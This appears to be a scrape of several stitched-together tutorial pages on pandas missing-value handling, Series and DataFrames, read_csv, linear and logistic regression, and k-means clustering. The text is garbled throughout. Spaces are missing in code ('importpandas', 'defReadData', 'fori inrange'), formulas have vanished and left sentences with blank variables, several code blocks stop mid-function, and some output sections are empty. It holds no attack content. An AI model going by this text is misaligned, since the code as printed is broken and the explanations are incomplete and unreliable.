importpandas as pd
# making data frame from csv file
data =pd.read_csv("employees.csv")
# creating bool series True for NaN values
bool_series =pd.isnull(data["Gender"])
# filtering data
# displaying data only with Gender = NaN
data[bool_series]
Output: As shown in the output image, only the rows having Gender = NULL are displayed.
Checking for missing values using notnull()
In order to check null values in Pandas Dataframe, we use notnull() function this function return dataframe of Boolean values which are False for NaN values.
Code #3:
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, 90, np.nan, 95],
'Second Score': [30, 45, 56, np.nan],
'Third Score':[np.nan, 40, 80, 98]}
# creating a dataframe using dictionary
df =pd.DataFrame(dict)
# using notnull() function
df.notnull()
Output:
Code #4:
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("employees.csv")
# creating bool series True for NaN values
bool_series =pd.notnull(data["Gender"])
# filtering data
# displayind data only with Gender = Not NaN
data[bool_series]
Output: As shown in the output image, only the rows having Gender = NOT NULL are displayed.
Filling missing values using fillna(), replace() and interpolate()
In order to fill null values in a datasets, we use fillna(), replace() and interpolate() function these function replace NaN values with some value of their own. All these function help in filling a null values in datasets of a DataFrame. Interpolate() function is basically used to fill NA values in the dataframe but it uses various interpolation technique to fill the missing values rather than hard-coding the value.
Code #1: Filling null values with a single value
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, 90, np.nan, 95],
'Second Score': [30, 45, 56, np.nan],
'Third Score':[np.nan, 40, 80, 98]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
# filling missing value using fillna()
df.fillna(0)
Output:
Code #2: Filling null values with the previous ones
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, 90, np.nan, 95],
'Second Score': [30, 45, 56, np.nan],
'Third Score':[np.nan, 40, 80, 98]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
# filling a missing value with
# previous ones
df.fillna(method ='pad')
Output:
Code #3: Filling null value with the next ones
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, 90, np.nan, 95],
'Second Score': [30, 45, 56, np.nan],
'Third Score':[np.nan, 40, 80, 98]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
# filling null value using fillna() function
df.fillna(method ='bfill')
Output:
Code #4: Filling null values in CSV File
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("employees.csv")
# Printing the first 10 to 24 rows of
# the data frame for visualization
data[10:25]
Now we are going to fill all the null values in Gender column with “No Gender”
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("employees.csv")
# filling a null values using fillna()
data["Gender"].fillna("No Gender", inplace =True)
data
Output: Code #5: Filling a null values using replace() method
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("employees.csv")
# Printing the first 10 to 24 rows of
# the data frame for visualization
data[10:25]
Output: Now we are going to replace the all Nan value in the data frame with -99 value.
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("employees.csv")
# will replace Nan value in dataframe with value -99
data.replace(to_replace =np.nan, value =-99)
Output:
Code #6: Using interpolate() function to fill the missing values using linear method.
# importing pandas as pd
importpandas as pd
# Creating the dataframe
df =pd.DataFrame({"A":[12, 4, 5, None, 1],
"B":[None, 2, 54, 3, None],
"C":[20, 16, None, 3, 8],
"D":[14, 3, None, None, 6]})
# Print the dataframe
df
Let’s interpolate the missing values using Linear method. Note that Linear method ignore the index and treat the values as equally spaced.
Output: As we can see the output, values in the first row could not get filled as the direction of filling of values is forward and there is no previous value which could have been used in interpolation.
Dropping missing values using dropna()
In order to drop a null values from a dataframe, we used dropna() function this function drop Rows/Columns of datasets with Null values in different ways.
Code #1: Dropping rows with at least 1 null value.
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, 90, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, 40, 80, 98],
'Fourth Score':[np.nan, np.nan, np.nan, 65]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
df
Now we drop rows with at least one Nan value (Null value)
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, 90, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, 40, 80, 98],
'Fourth Score':[np.nan, np.nan, np.nan, 65]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
# using dropna() function
df.dropna()
Output: Code #2: Dropping rows if all values in that row are missing.
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, np.nan, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, np.nan, 80, 98],
'Fourth Score':[np.nan, np.nan, np.nan, 65]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
df
Now we drop a rows whose all data is missing or contain null values(NaN)
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, np.nan, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, np.nan, 80, 98],
'Fourth Score':[np.nan, np.nan, np.nan, 65]}
df =pd.DataFrame(dict)
# using dropna() function
df.dropna(how ='all')
Output:
Code #3: Dropping columns with at least 1 null value.
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, np.nan, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, np.nan, 80, 98],
'Fourth Score':[60, 67, 68, 65]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
df
Now we drop a columns which have at least 1 missing values
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, np.nan, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, np.nan, 80, 98],
'Fourth Score':[60, 67, 68, 65]}
# creating a dataframe from dictionary
df =pd.DataFrame(dict)
# using dropna() function
df.dropna(axis =1)
Output :
Code #4: Dropping Rows with at least 1 null value in CSV file
# importing pandas module
importpandas as pd
# making data frame from csv file
data =pd.read_csv("employees.csv")
# making new data frame with dropped NA values
new_data =data.dropna(axis =0, how ='any')
new_data
Output: Now we compare sizes of data frames so that we can come to know how many rows had at least 1 Null value
print("Old data frame length:", len(data))
print("New data frame length:", len(new_data))
print("Number of rows with at least 1 NA value: ", (len(data)-len(new_data)))
Output :
Old data frame length: 1000
New data frame length: 764
Number of rows with at least 1 NA value: 236
Since the difference is 236, there were 236 rows which had at least 1 Null value in any column.
My Personal Notesarrow_drop_up
Python | Pandas Series
Last Updated :17 Jan, 2019
Pandas Series is a one-dimensional labeled array capable of holding data of any type (integer, string, float, python objects, etc.). The axis labels are collectively called index. Pandas Series is nothing but a column in an excel sheet. Labels need not be unique but must be a hashable type. The object supports both integer and label-based indexing and provides a host of methods for performing operations involving the index. In this article, we are using nba.csv file.
We will get a brief insight on all these basic operations which can be performed on Pandas Series :
In the real world, a Pandas Series will be created by loading the datasets from existing storage, storage can be SQL Database, CSV file, and Excel file. Pandas Series can be created from the lists, dictionary, and from a scalar value etc. Series can be created in different ways, here are some ways by which we create a series:
Creating a series from array: In order to create a series from array, we have to import a numpy module and have to use array() function.
# import pandas as pd
import pandas as pd
# import numpy as np
import numpy as np
# simple array
data = np.array(['g','e','e','k','s'])
ser = pd.Series(data)
print(ser)
Output :
Creating a series from Lists: In order to create a series from list, we have to first create a list after that we can create a series from list.
import pandas as pd
# a simple list
list = ['g', 'e', 'e', 'k', 's']
# create series form a list
ser = pd.Series(list)
print(ser)
There are two ways through which we can access element of series, they are :
Accessing Element from Series with Position
Accessing Element Using Label (index)
Accessing Element from Series with Position : In order to access the series element refers to the index number. Use the index operator [ ] to access an element in a series. The index must be an integer. In order to access multiple elements from a series, we use Slice operation.
Accessing first 5 elements of Series
# import pandas and numpy
import pandas as pd
import numpy as np
# creating simple array
data = np.array(['g','e','e','k','s','f', 'o','r','g','e','e','k','s'])
ser = pd.Series(data)
#retrieve the first element
print(ser[:5])
Output :
Accessing Element Using Label (index) : In order to access an element from series, we have to set values by index label. A Series is like a fixed-size dictionary in that you can get and set values by index label.
Accessing a single element using index label
# import pandas and numpy
import pandas as pd
import numpy as np
# creating simple array
data = np.array(['g','e','e','k','s','f', 'o','r','g','e','e','k','s'])
ser = pd.Series(data,index=[10,11,12,13,14,15,16,17,18,19,20,21,22])
# accessing a element using index element
print(ser[16])
Indexing in pandas means simply selecting particular data from a Series. Indexing could mean selecting all the data, some of the data from particular columns. Indexing can also be known as Subset Selection.
Indexing a Series using indexing operator [] : Indexing operator is used to refer to the square brackets following an object. The .loc and .iloc indexers also use the indexing operator to make selections. In this indexing operator to refer to df[ ].
# importing pandas module
import pandas as pd
# making data frame
df = pd.read_csv("nba.csv")
ser = pd.Series(df['Name'])
data = ser.head(10)
data
Now we access the element of series using index operator [ ].
# using indexing operator
data[3:6]
Output :
Indexing a Series using .loc[ ] : This function selects data by refering the explicit index . The df.loc indexer selects data in a different way than just the indexing operator. It can select subsets of data.
# importing pandas module
import pandas as pd
# making data frame
df = pd.read_csv("nba.csv")
ser = pd.Series(df['Name'])
data = ser.head(10)
data
Now we access the element of series using .loc[] function.
# using .loc[] function
data.loc[3:6]
Output :
Indexing a Series using .iloc[ ] : This function allows us to retrieve data by position. In order to do that, we’ll need to specify the positions of the data that we want. The df.iloc indexer is very similar to df.loc but only uses integer locations to make its selections.
# importing pandas module
import pandas as pd
# making data frame
df = pd.read_csv("nba.csv")
ser = pd.Series(df['Name'])
data = ser.head(10)
data
Now we access the element of Series using .iloc[] function.
# using .iloc[] function
data.iloc[3:6]
Output :
Binary Operation on Series
We can perform binary operation on series like addition, subtraction and many other operation. In order to perform binary operation on series we have to use some function like .add(),.sub() etc.. Code #1:
# importing pandas module
import pandas as pd
# creating a series
data = pd.Series([5, 2, 3,7], index=['a', 'b', 'c', 'd'])
# creating a series
data1 = pd.Series([1, 6, 4, 9], index=['a', 'b', 'd', 'e'])
print(data, "\n\n", data1)
Now we add two series using .add() function.
# adding two series using
# .add
data.add(data1, fill_value=0)
Output : Code #2:
# importing pandas module
import pandas as pd
# creating a series
data = pd.Series([5, 2, 3,7], index=['a', 'b', 'c', 'd'])
# creating a series
data1 = pd.Series([1, 6, 4, 9], index=['a', 'b', 'd', 'e'])
print(data, "\n\n", data1)
Now we subtract two series using .sub function.
# subtracting two series using
# .sub
data.sub(data1, fill_value=0)
In conversion operation we perform various operation like changing datatype of series, changing a series to list etc. In order to perform conversion operation we have various function which help in conversion like .astype(), .tolist() etc. Code #1:
# Python program using astype
# to convert a datatype of series
# importing pandas module
import pandas as pd
# reading csv file from url
data = pd.read_csv("nba.csv")
# dropping null value columns to avoid errors
data.dropna(inplace = True)
# storing dtype before converting
before = data.dtypes
# converting dtypes using astype
data["Salary"]= data["Salary"].astype(int)
data["Number"]= data["Number"].astype(str)
# storing dtype after converting
after = data.dtypes
# printing to compare
print("BEFORE CONVERSION\n", before, "\n")
print("AFTER CONVERSION\n", after, "\n")
Output :
Code #2:
# Python program converting
# a series into list
# importing pandas module
import pandas as pd
# importing regex module
import re
# making data frame
data = pd.read_csv("nba.csv")
# removing null values to avoid errors
data.dropna(inplace = True)
# storing dtype before operation
dtype_before = type(data["Salary"])
# converting to list
salary_list = data["Salary"].tolist()
# storing dtype after operation
dtype_after = type(salary_list)
# printing dtype
print("Data type before converting = {}\nData type after converting = {}"
.format(dtype_before, dtype_after))
# displaying list
salary_list
Used to compare every element of Caller series with passed series.It returns True for every element which is Less than or Equal to the element in passed series
Used to compare every element of Caller series with passed series. It returns True for every element which is Not Equal to the element in passed series
Used to compare every element of Caller series with passed series. It returns True for every element which is Greater than or Equal to the element in passed series
Method is called and feeded a Python function as an argument to use the function on every Series value. This method is helpful for executing custom operations that are not included in pandas or numpy
Pandas is the most popular python library that is used for data analysis. It provides highly optimized performance with back-end source code is purely written in C or Python.
We can analyze data in pandas with:
Series
DataFrames
Series:
Series is one dimensional(1-D) array defined in pandas that can be used to store any data type.
Code #1: Creating Series
# Program to create series
# Import Panda Library
importpandas as pd
# Create series with Data, and Index
a =pd.Series(Data, index =Index)
Here, Data can be:
A Scalar value which can be integerValue, string
A Python Dictionary which can be Key, Value pair
A Ndarray
Note: Index by default is from 0, 1, 2, …(n-1) where n is length of data.
Code #2: When Data contains scalar values
# Program to Create series with scalar values
# Numeric data
Data =[1, 3, 4, 5, 6, 2, 9]
# Creating series with default index values
s =pd.Series(Data)
# predefined index values
Index =['a', 'b', 'c', 'd', 'e', 'f', 'g']
# Creating series with predefined index values
si =pd.Series(Data, Index)
Output:
Scalar Data with default Index
Scalar Data with Index
Code #3: When Data contains Dictionary
# Program to Create Dictionary series
dictionary ={'a':1, 'b':2, 'c':3, 'd':4, 'e':5}
# Creating series of Dictionary type
sd =pd.Series(dictionary)
Output:
Dictionary type data
Code #4:When Data contains Ndarray
# Program to Create ndarray series
# Defining 2darray
Data =[[2, 3, 4], [5, 6, 7]]
# Creating series of 2darray
snd =pd.Series(Data)
Output:
Data as Ndarray
DataFrames:
DataFrames is two-dimensional(2-D) data structure defined in pandas which consists of rows and columns.
Code #1: Creation of DataFrame
# Program to Create DataFrame
# Import Library
importpandas as pd
# Create DataFrame with Data
a =pd.DataFrame(Data)
Here, Data can be:
One or more dictionaries
One or more Series
2D-numpy Ndarray
Code #2: When Data is Dictionaries
# Program to Create Data Frame with two dictionaries
# Define Dictionary 1
dict1 ={'a':1, 'b':2, 'c':3, 'd':4}
# Define Dictionary 2
dict2 ={'a':5, 'b':6, 'c':7, 'd':8, 'e':9}
# Define Data with dict1 and dict2
Data ={'first':dict1, 'second':dict2}
# Create DataFrame
df =pd.DataFrame(Data)
Output:
DataFrame with two dictionaries
Code #3: When Data is Series
# Program to create Dataframe of three series
importpandas as pd
# Define series 1
s1 =pd.Series([1, 3, 4, 5, 6, 2, 9])
# Define series 2
s2 =pd.Series([1.1, 3.5, 4.7, 5.8, 2.9, 9.3])
# Define series 3
s3 =pd.Series(['a', 'b', 'c', 'd', 'e'])
# Define Data
Data ={'first':s1, 'second':s2, 'third':s3}
# Create DataFrame
dfseries =pd.DataFrame(Data)
Output:
DataFrame with three series
Code #4: When Data is 2D-numpy ndarray Note: One constraint has to be maintained while creating DataFrame of 2D arrays – Dimensions of 2D array must be same.
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. Pandas is one of those packages and makes importing and analyzing data much easier. Import Pandas:
import pandas as pd
Code #1 : read_csv is an important pandas function to read csv files and do operations on it.
PYTHON3
# Import pandas
importpandas as pd
# reading csv file
pd.read_csv("filename.csv")
Opening a CSV file through this is easy. But there are many others thing one can do through this function only to change the returned object completely. For instance, one can read a csv file not only locally, but from a URL through read_csv or one can choose what columns needed to export so that we don’t have to edit the array later. Here is the list of parameters it takes with their Default values.
Not all of them are much important but remembering these actually save time of performing same functions on own. One can see parameters of any function by pressing shift + tab in jupyter notebook. Useful ones are given below with their usage :
Parameter
Use
filepath_or_buffer
URL or Dir location of file
sep
Stands for separator, default is ‘, ‘ as in csv(comma separated values)
index_col
Makes passed column as index instead of 0, 1, 2, 3…r
header
Makes passed row/s[int/int list] as header
use_cols
Only uses the passed col[string list] to make data frame
squeeze
If true and only one column is passed, returns pandas series
skiprows
Skips passed rows in new data frame
Refer the link to data set used from here. Code #2 :
PYTHON3
# importing Pandas library
importpandas as pd
pd.read_csv(filepath_or_buffer ="pokemon.csv")
# makes the passed rows header
pd.read_csv("pokemon.csv", header =[1, 2])
# make the passed column as index instead of 0, 1, 2, 3....
pd.read_csv("pokemon.csv", index_col ='Type')
# uses passed cols only for data frame
pd.read_csv("pokemon.csv", usecols =["Type"])
# returns pandas series if there is only one column
pd.read_csv("pokemon.csv", usecols =["Type"],
squeeze =True)
# skips the passed rows in new series
pd.read_csv("pokemon.csv",
skiprows =[1, 2, 3, 4])
My Personal Notesarrow_drop_up
Machine Learning
Last Updated :30 May, 2022
Machine Learning is the field of study that gives computers the capability to learn without being explicitly programmed. ML is one of the most exciting technologies that one would have ever come across. As it is evident from the name, it gives the computer that makes it more similar to humans: The ability to learn. Machine learning is actively being used today, perhaps in many more places than one would expect.
Machine Learning is an essential skill for any aspiring data analyst and data scientist, and also for those who wish to transform a massive amount of raw data into trends and predictions. Learn this skill today with Machine Learning Foundation – Self Paced Course, designed and curated by industry experts having years of expertise in ML and industry-based projects.
Machines are learning, so why do you wish to get left behind? Strengthen your ML and AI foundations today and become future ready. This self-paced course will help you learn advanced concepts like- Regression, Classification, Data Dimensionality and much more. Also included- Projects that will help you get hands-on experience. So wait no more, and strengthen your Machine Learning Foundations.
Every organisation now relies on data before making any important decisions regarding their future. So, it is safe to say that Data is really the king now. So why do you want to get left behind? This LIVE course will introduce the learner to advanced concepts like: Linear Regression, Naive Bayes & KNN, Numpy, Pandas, Matlab & much more. You will also get to work on real-life projects through the course. So wait no more, Become a Data Science Expert now.
This article discusses the basics of linear regression and its implementation in the Python programming language. Linear regression is a statistical method for modeling relationships between a dependent variable with a given set of independent variables.
Note: In this article, we refer to dependent variables as responses and independent variables as features for simplicity. In order to provide a basic understanding of linear regression, we start with the most basic version of linear regression, i.e. Simple linear regression.
Simple Linear Regression
Simple linear regression is an approach for predicting a response using a single feature. It is assumed that the two variables are linearly related. Hence, we try to find a linear function that predicts the response value(y) as accurately as possible as a function of the feature or independent variable(x). Let us consider a dataset where we have a value of response y for every feature x:
For generality, we define: x as feature vector, i.e x = [x_1, x_2, …., x_n], y as response vector, i.e y = [y_1, y_2, …., y_n] for n observations (in above example, n=10). A scatter plot of the above dataset looks like:-
Now, the task is to find a line that fits best in the above scatter plot so that we can predict the response for any new feature values. (i.e a value of x not present in a dataset) This line is called a regression line. The equation of regression line is represented as:
Here,
h(x_i) represents the predicted response value for ith observation.
b_0 and b_1 are regression coefficients and represent y-intercept and slope of regression line respectively.
To create our model, we must “learn” or estimate the values of regression coefficients b_0 and b_1. And once we’ve estimated these coefficients, we can use the model to predict responses! In this article, we are going to use the principle of Least Squares. Now consider: Here, e_i is a residual error in ith observation. So, our aim is to minimize the total residual error. We define the squared error or cost function, J as: and our task is to find the value of b_0 and b_1 for which J(b_0,b_1) is minimum! Without going into the mathematical details, we present the result here: where SS_xy is the sum of cross-deviations of y and x: and SS_xx is the sum of squared deviations of x: Note: The complete derivation for finding least squares estimates in simple linear regression can be found here.
Code: Python implementation of above technique on our small dataset
Python
importnumpy as np
importmatplotlib.pyplot as plt
defestimate_coef(x, y):
# number of observations/points
n =np.size(x)
# mean of x and y vector
m_x =np.mean(x)
m_y =np.mean(y)
# calculating cross-deviation and deviation about x
Multiple linear regression attempts to model the relationship between two or more features and a response by fitting a linear equation to the observed data. Clearly, it is nothing but an extension of simple linear regression. Consider a dataset with p features(or independent variables) and one response(or dependent variable). Also, the dataset contains n rows/observations. We define: X (feature matrix) = a matrix of size n X p where x_{ij} denotes the values of jth feature for ith observation. So, and y (response vector) = a vector of size n where y_{i} denotes the value of response for ith observation. The regression line for p features is represented as: where h(x_i) is predicted response value for ith observation and b_0, b_1, …, b_p are the regression coefficients. Also, we can write: where e_i represents residual error in ith observation. We can generalize our linear model a little bit more by representing feature matrix X as: So now, the linear model can be expressed in terms of matrices as: where, and Now, we determine an estimate of b, i.e. b’ using the Least Squares method. As already explained, the Least Squares method tends to determine b’ for which total residual error is minimized. We present the result directly here: where ‘ represents the transpose of the matrix while -1 represents the matrix inverse. Knowing the least square estimates, b’, the multiple linear regression model can now be estimated as: where y’ is the estimated response vector. Note: The complete derivation for obtaining least square estimates in multiple linear regression can be found here.
Code: Python implementation of multiple linear regression techniques on the Boston house pricing dataset using Scikit-learn.
Python
importmatplotlib.pyplot as plt
importnumpy as np
fromsklearn importdatasets, linear_model, metrics
# load the boston dataset
boston =datasets.load_boston(return_X_y=False)
# defining feature matrix(X) and response vector(y)
X =boston.data
y =boston.target
# splitting X and y into training and testing sets
In the above example, we determine the accuracy score using Explained Variance Score. We define: explained_variance_score = 1 – Var{y – y’}/Var{y} where y’ is the estimated target output, y the corresponding (correct) target output, and Var is Variance, the square of the standard deviation. The best possible score is 1.0, lower values are worse.
Assumptions:
Given below are the basic assumptions that a linear regression model makes regarding a dataset on which it is applied:
Linear relationship: Relationship between response and feature variables should be linear. The linearity assumption can be tested using scatter plots. As shown below, 1st figure represents linearly related variables whereas variables in the 2nd and 3rd figures are most likely non-linear. So, 1st figure will give better predictions using linear regression.
Little or no multi-collinearity: It is assumed that there is little or no multicollinearity in the data. Multicollinearity occurs when the features (or independent variables) are not independent of each other.
Little or no auto-correlation: Another assumption is that there is little or no autocorrelation in the data. Autocorrelation occurs when the residual errors are not independent of each other. You can refer here for more insight into this topic.
Homoscedasticity: Homoscedasticity describes a situation in which the error term (that is, the “noise” or random disturbance in the relationship between the independent variables and the dependent variable) is the same across all values of the independent variables. As shown below, figure 1 has homoscedasticity while figure 2 has heteroscedasticity.
As we reach the end of this article, we discuss some applications of linear regression below.
Applications:
Trend lines: A trend line represents the variation in quantitative data with the passage of time (like GDP, oil prices, etc.). These trends usually follow a linear relationship. Hence, linear regression can be applied to predict future values. However, this method suffers from a lack of scientific validity in cases where other potential changes can affect the data.
Economics: Linear regression is the predominant empirical tool in economics. For example, it is used to predict consumer spending, fixed investment spending, inventory investment, purchases of a country’s exports, spending on imports, the demand to hold liquid assets, labor demand, and labor supply.
Finance: The capital price asset model uses linear regression to analyze and quantify the systematic risks of an investment. 4. Biology: Linear regression is used to model causal relationships between parameters in biological systems.
Pre-requisite:Linear Regression This article discusses the basics of Logistic Regression and its implementation in Python. Logistic regression is basically a supervised classification algorithm. In a classification problem, the target variable(or output), y, can take only discrete values for a given set of features(or inputs), X. Contrary to popular belief, logistic regression IS a regression model. The model builds a regression model to predict the probability that a given data entry belongs to the category numbered as “1”. Just like Linear regression assumes that the data follows a linear function, Logistic regression models the data using the sigmoid function.
Logistic regression becomes a classification technique only when a decision threshold is brought into the picture. The setting of the threshold value is a very important aspect of Logistic regression and is dependent on the classification problem itself. The decision for the value of the threshold value is majorly affected by the values of precision and recall. Ideally, we want both precision and recall to be 1, but this seldom is the case.
In the case of a Precision-Recall tradeoff, we use the following arguments to decide upon the threshold:- 1. Low Precision/High Recall: In applications where we want to reduce the number of false negatives without necessarily reducing the number of false positives, we choose a decision value that has a low value of Precision or a high value of Recall. For example, in a cancer diagnosis application, we do not want any affected patient to be classified as not affected without giving much heed to if the patient is being wrongfully diagnosed with cancer. This is because the absence of cancer can be detected by further medical diseases but the presence of the disease cannot be detected in an already rejected candidate. 2. High Precision/Low Recall: In applications where we want to reduce the number of false positives without necessarily reducing the number of false negatives, we choose a decision value that has a high value of Precision or a low value of Recall. For example, if we are classifying customers whether they will react positively or negatively to a personalized advertisement, we want to be absolutely sure that the customer will react positively to the advertisement because otherwise, a negative reaction can cause a loss of potential sales from the customer. Based on the number of categories, Logistic regression can be classified as:
binomial: target variable can have only 2 possible types: “0” or “1” which may represent “win” vs “loss”, “pass” vs “fail”, “dead” vs “alive”, etc.
multinomial: target variable can have 3 or more possible types which are not ordered(i.e. types have no quantitative significance) like “disease A” vs “disease B” vs “disease C”.
ordinal: it deals with target variables with ordered categories. For example, a test score can be categorized as:“very poor”, “poor”, “good”, “very good”. Here, each category can be given a score like 0, 1, 2, 3.
First of all, we explore the simplest form of Logistic Regression, i.e Binomial Logistic Regression.
Binomial Logistic Regression
Consider an example dataset which maps the number of hours of study with the result of an exam. The result can take only two values, namely passed(1) or failed(0):
i.e. y is a categorical target variable that can take only two possible type: “0” or “1”. In order to generalize our model, we assume that:
The dataset has ‘p’ feature variables and ‘n’ observations.
The feature matrix is represented as:
Here, denotes the values of feature for observation. Here, we are keeping the convention of letting = 1. (Keep reading, you will understand the logic in a few moments).
The observation, , can be represented as:
represents the predicted response for observation, i.e. . The formula we use for calculating is called hypothesis.
If you have gone through Linear Regression, you should recall that in Linear Regression, the hypothesis we used for prediction was:
where, are the regression coefficients. Let regression coefficient matrix/vector, be:
Then, in a more compact form,
The reason for taking = 1 is pretty clear now. We needed to do a matrix product, but there was no actual multiplied to in original hypothesis formula. So, we defined = 1.
Now, if we try to apply Linear Regression to the above problem, we are likely to get continuous values using the hypothesis we discussed above. Also, it does not make sense for to take values larger than 1 or smaller than 0. So, some modifications are made to the hypothesis for classification:
where,
is called logistic function or the sigmoid function. Here is a plot showing g(z):
We can infer from the above graph that:
g(z) tends towards 1 as
g(z) tends towards 0 as
g(z) is always bounded between 0 and 1
So, now, we can define conditional probabilities for 2 labels(0 and 1) for observation as:
We can write it more compactly as:
Now, we define another term, likelihood of parameters as:
Likelihood is nothing but the probability of data(training examples), given a model and specific parameter values(here, ). It measures the support provided by the data for each possible value of the . We obtain it by multiplying all for given .
And for easier calculations, we take log-likelihood:
The cost function for logistic regression is proportional to the inverse of the likelihood of parameters. Hence, we can obtain an expression for cost function, J using log-likelihood equation as:
and our aim is to estimate so that cost function is minimized !!
Using Gradient descent algorithm
Firstly, we take partial derivatives of w.r.t each to derive the stochastic gradient descent rule(we present only the final derived value here):
Here, y and h(x) represents the response vector and predicted response vector(respectively). Also, is the vector representing the observation values for feature. Now, in order to get min ,
where is called learning rate and needs to be set explicitly. Let us see the python implementation of the above technique on a sample dataset (download it from here): 2.25 2.50 2.75 3.00 3.25 3.50 3.75 4.00 4.25 4.50 4.75 5.00 5.50
Note: Gradient descent is one of the many ways to estimate . Basically, these are more advanced algorithms that can be easily run in Python once you have defined your cost function and your gradients. These algorithms are:
BFGS(Broyden–Fletcher–Goldfarb–Shanno algorithm)
L-BFGS(Like BFGS but uses limited memory)
Conjugate Gradient
Advantages/disadvantages of using any one of these algorithms over Gradient descent:
Advantages
Don’t need to pick learning rate
Often run faster (not always the case)
Can numerically approximate gradient for you (doesn’t always work out well)
Disadvantages
More complex
More of a black box unless you learn the specifics
Multinomial Logistic Regression
In Multinomial Logistic Regression, the output variable can have more than two possible discrete outputs. Consider the Digit Dataset. Here, the output variable is the digit value which can take values out of (0, 12, 3, 4, 5, 6, 7, 8, 9). Given below is the implementation of Multinomial Logistic Regression using scikit-learn to make predictions on digit datasets.
Python
fromsklearn importdatasets, linear_model, metrics
# load the digit dataset
digits =datasets.load_digits()
# defining feature matrix(X) and response vector(y)
X =digits.data
y =digits.target
# splitting X and y into training and testing sets
X_train, X_test, y_train, y_test =train_test_split(X, y, test_size=0.4,
random_state=1)
# create logistic regression object
reg =linear_model.LogisticRegression()
# train the model using the training sets
reg.fit(X_train, y_train)
# making predictions on the testing set
y_pred =reg.predict(X_test)
# comparing actual response values (y_test) with predicted response values (y_pred)
print("Logistic Regression model accuracy(in %):",
metrics.accuracy_score(y_test, y_pred)*100)
Logistic Regression model accuracy(in %): 95.6884561892
At last, here are some points about Logistic regression to ponder upon:
Does NOT assume a linear relationship between the dependent variable and the independent variables, but it does assume a linear relationship between the logit of the explanatory variables and the response.
Independent variables can be even the power terms or some other nonlinear transformations of the original independent variables.
The dependent variable does NOT need to be normally distributed, but it typically assumes a distribution from an exponential family (e.g. binomial, Poisson, multinomial, normal,…); binary logistic regression assumes binomial distribution of the response.
The homogeneity of variance does NOT need to be satisfied.
Errors need to be independent but NOT normally distributed.
It uses maximum likelihood estimation (MLE) rather than ordinary least squares (OLS) to estimate the parameters and thus relies on large-sample approximations.
This article is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
We are given a data set of items, with certain features, and values for these features (like a vector). The task is to categorize those items into groups. To achieve this, we will use the kMeans algorithm; an unsupervised learning algorithm.
Overview
(It will help if you think of items as points in an n-dimensional space). The algorithm will categorize the items into k groups of similarity. To calculate that similarity, we will use the euclidean distance as measurement. The algorithm works as follows:
First, we initialize k points, called means, randomly.
We categorize each item to its closest mean and we update the mean’s coordinates, which are the averages of the items categorized in that mean so far.
We repeat the process for a given number of iterations and at the end, we have our clusters.
The “points” mentioned above are called means because they hold the mean values of the items categorized in them. To initialize these means, we have a lot of options. An intuitive method is to initialize the means at random items in the data set. Another method is to initialize the means at random values between the boundaries of the data set (if for a feature x the items have values in [0,3], we will initialize the means with values for x at [0,3]). The above algorithm in pseudocode:
Initialize k means with random values
For a given number of iterations:
Iterate through items:
Find the mean closest to the item
Assign item to mean
Update mean
Read Data
We receive input as a text file (‘data.txt’). Each line represents an item, and it contains numerical values (one for each feature) split by commas. You can find a sample data set here. We will read the data from the file, saving it into a list. Each element of the list is another list containing the item values for the features. We do this with the following function:
Python3
defReadData(fileName):
# Read the file, splitting by lines
f =open(fileName, 'r');
lines =f.read().splitlines();
f.close();
items =[];
fori inrange(1, len(lines)):
line =lines[i].split(',');
itemFeatures =[];
forj inrange(len(line)-1):
# Convert feature value to float
v =float(line[j]);
# Add feature value to dict
itemFeatures.append(v);
items.append(itemFeatures);
shuffle(items);
returnitems;
Initialize Means
We want to initialize each mean’s values in the range of the feature values of the items. For that, we need to find the min and max for each feature. We accomplish that with the following function:
Python
defFindColMinMax(items):
n =len(items[0]);
minima =[sys.maxint fori inrange(n)];
maxima =[-sys.maxint -1fori inrange(n)];
foritem initems:
forf inrange(len(item)):
if(item[f] < minima[f]):
minima[f] =item[f];
if(item[f] > maxima[f]):
maxima[f] =item[f];
returnminima,maxima;
The variables minima, maxima are lists containing the min and max values of the items respectively. We initialize each mean’s feature values randomly between the corresponding minimum and maximum in those above two lists:
Python
